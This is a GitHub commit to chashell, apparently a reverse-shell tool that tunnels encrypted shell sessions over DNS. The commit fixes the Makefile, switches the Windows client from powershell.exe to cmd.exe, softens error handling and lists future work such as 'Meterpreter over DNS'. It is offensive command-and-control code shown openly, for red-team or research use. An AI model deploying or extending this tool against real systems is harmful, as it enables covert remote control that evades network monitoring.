Skip to content

Commit a751db0

Browse files
author
Nicolas Chatelain
committed
Fix Makefile, use cmd.exe instead of powershell.exe for Windows, cleanup.
1 parent a5fe6eb commit a751db0

File tree

6 files changed

+31
-32
lines changed

6 files changed

+31
-32
lines changed

Makefile

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11

2-
SERVER_SOURCE=cmd/server/chaserv.go
3-
CLIENT_SOURCE=cmd/shell/chashell.go
2+
SERVER_SOURCE=./cmd/server
3+
CLIENT_SOURCE=./cmd/shell
44
LDFLAGS="-X main.targetDomain=$(DOMAIN_NAME) -X main.encryptionKey=$(ENCRYPTION_KEY) -s -w"
55
GCFLAGS="all=-trimpath=$GOPATH"
66

@@ -12,7 +12,7 @@ OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64
1212
.DEFAULT: help
1313

1414
help: ## Show Help
15-
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
15+
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
1616

1717
check-env: ## Check if necessary environment variables are set.
1818
ifndef DOMAIN_NAME
@@ -25,7 +25,7 @@ endif
2525
build: check-env ## Build for the current architecture.
2626
dep ensure && \
2727
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \
28-
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) $(LDFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
28+
go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE)
2929

3030
dep: check-env ## Get all the required dependencies
3131
go get -v -u github.com/golang/dep/cmd/dep && \
@@ -44,5 +44,9 @@ build-server: check-env ## Build the chashell server.
4444

4545
build-all: check-env build-client build-server ## Build everything.
4646

47-
proto:
48-
protoc -I=proto/ --go_out=lib/protocol chacomm.proto
47+
proto: ## Build the protocol buffer file
48+
protoc -I=proto/ --go_out=lib/protocol chacomm.proto
49+
50+
clean: ## Remove all the generated binaries
51+
rm -f release/chaserv*
52+
rm -f release/chashell*

README.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ Asymmetric cryptography is **planned**.
1818

1919
### Protocol
2020

21-
Chashell communicate using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. The .proto file is available in the **proto** folder.
21+
Chashell communicate using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. The Protocol Buffers message format (.proto file) is available in the **proto** folder.
2222

2323
Here is a (simplified) communication chart :
2424

@@ -117,6 +117,8 @@ cmd.Run()
117117

118118
## To Do
119119

120-
* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305))
120+
* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305)).
121121
* Retrieve the hostname using the InfoPacket message.
122-
* Create a "proxy/relay" tool in order to tunnel TCP/UDP streams. (Meterpreter over DNS !)
122+
* Create a "proxy/relay" tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !).
123+
* Protection against denial of service attacks.
124+
* Use less dependencies.

cmd/shell/chashell.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ func main() {
1515
var cmd *exec.Cmd
1616

1717
if runtime.GOOS == "windows" {
18-
cmd = exec.Command("powershell.exe")
18+
cmd = exec.Command("cmd.exe")
1919
} else {
2020
cmd = exec.Command("/bin/sh", "-c", "/bin/sh")
2121
}

lib/crypto/symetric.go

Lines changed: 5 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -8,22 +8,15 @@ import (
88
)
99

1010
func Seal(payload []byte, secretKey string) (nonce [24]byte, message []byte) {
11-
/*
12-
Generate a 24 byte nonce
13-
*/
11+
// Generate a 24 byte nonce
1412
if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
1513
panic(err)
1614
}
1715

18-
/*
19-
Seal message using XSalsa20 + Poly1305
20-
*/
16+
// Seal message using XSalsa20 + Poly1305
2117
var secret [32]byte
2218

23-
/*
24-
Decode the symetric encryption key.
25-
*/
26-
19+
// Decode the symetric encryption key.
2720
secretKeyBytes, err := hex.DecodeString(secretKey)
2821
if err != nil {
2922
panic(err)
@@ -36,17 +29,12 @@ func Seal(payload []byte, secretKey string) (nonce [24]byte, message []byte) {
3629
}
3730

3831
func Open(payload []byte, in_nonce []byte, secretKey string) (output []byte, valid bool) {
39-
/*
40-
Seal message using XSalsa20 + Poly1305
41-
*/
32+
// Seal message using XSalsa20 + Poly1305
4233
var secret [32]byte
4334
var nonce [24]byte
4435
var out []byte
4536

46-
/*
47-
Decode the symetric encryption key.
48-
*/
49-
37+
// Decode the symetric encryption key.
5038
secretKeyBytes, err := hex.DecodeString(secretKey)
5139
if err != nil {
5240
panic(err)

lib/transport/encoding.go

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -23,27 +23,31 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool)
2323
dataPacketRaw, err := hex.DecodeString(payload)
2424

2525
if err != nil {
26-
log.Fatal("Invalid packet.\n")
26+
log.Println("Invalid packet.\n")
27+
return
2728
}
2829

2930
// Check if the packet is big enough to fit the nonce.
3031
if len(dataPacketRaw) <= 24 {
31-
log.Fatal("Received packet is too small!\n")
32+
log.Println("Received packet is too small!\n")
33+
return
3234
}
3335

3436
// Authenticate and decrypt the packet.
3537
output, valid := crypto.Open(dataPacketRaw[24:], dataPacketRaw[:24], encryptionKey)
3638

3739
// Raise an error if the message is invalid.
3840
if !valid {
39-
log.Fatal("Received invalid/corrupted packet.\n")
41+
log.Println("Received invalid/corrupted packet.\n")
42+
return
4043
}
4144

4245
// Parse the "Message" part of the Protocol buffer packet.
4346
message := &protocol.Message{}
4447
if err := proto.Unmarshal(output, message); err != nil {
4548
// This should not append.
46-
log.Fatalln("Failed to parse message packet:", err)
49+
log.Printf("Failed to parse message packet: %v\n", err)
50+
return
4751
}
4852

4953
// Process the message depending of his type.

lib/transport/polling.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ func pollRead(stream dnsStream) {
2121

2222
func poll(stream dnsStream) {
2323

24+
// Create a "polling" request.
2425
pollQuery := &protocol.Message{
2526
Clientguid: stream.clientGuid,
2627
Packet: &protocol.Message_Pollquery{
@@ -50,7 +51,7 @@ func poll(stream dnsStream) {
5051
log.Printf("Final data: %s\n", output)
5152
packetQueue <- output
5253
} else {
53-
/* More data available. Get it !*/
54+
// More data available. Get it!
5455
poll(stream)
5556
}
5657

0 commit comments

Comments
 (0)